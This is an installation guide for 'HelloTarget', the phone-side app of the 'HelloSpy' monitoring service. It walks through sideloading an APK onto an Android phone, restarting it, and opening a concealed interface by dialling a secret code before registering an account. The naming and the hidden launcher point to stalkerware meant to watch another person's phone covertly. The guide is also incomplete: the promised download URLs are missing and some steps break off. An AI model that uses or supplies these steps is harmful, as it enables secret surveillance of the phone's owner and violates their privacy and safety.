I. Download and Install HelloTarget

1. Download

   **Attention**: Before download **HelloSpy**, be sure that your Phone has internet connection via Wifi or 3G or GPRS.

   i. Check Firmware Version

      You need to install the correct version of **HelloTarget** for your Android OS smart phone. To check what version of the Android OS is installed on your phone, go to **Settings > About Phone** tab, then scroll down to the **Firmware Version** field. This is the version of the operating system used on the phone.

   ![Firmware Version](image)

   ii. Enable your Android smart phone to install non-Market applications

      Next, you will want to enable your Android device to install non-Market applications. To do so, on your Home screen, tap **Settings**. Then tap **Applications**.
iii. Download and install HelloTarget to your phone directly

Once you return to your Home screen, tap on the Browser icon to bring up your internet browser. Now you will need to download the correct version of HelloTarget for your phone version of the Android OS. In the address bar, type in the appropriate URL address for the version of Hello Target you wish to use for your specific OS version from the list below.

HelloTarget Version 1.0.0

Once you have typed in the URL address of HelloSpy, tap Go. After tapping Go, HelloTarget will automatically downloaded onto your Android phone. On your phone, open file hellotarget2.apk to start installation process, the installation screen will appear and you can follow set up wizard step by step to install HelloTarget. Restart your phone after installation process finishes successful.
2. Sign up an online account and Register your Phone

iv. How to launch HelloTarget interface

After the phone is restarted, you can open **HelloTarget** user interface by dialing the secret code: **#000*** then press **CALL**, wait for few seconds, **HelloTarget** user interface will appear like below

![HelloTarget interface]

v. Register an account

If you don’t have an account on website **HelloSpy** yet, tap **Register** to create account. Insert email address, password you wish. Click **Create Account**.
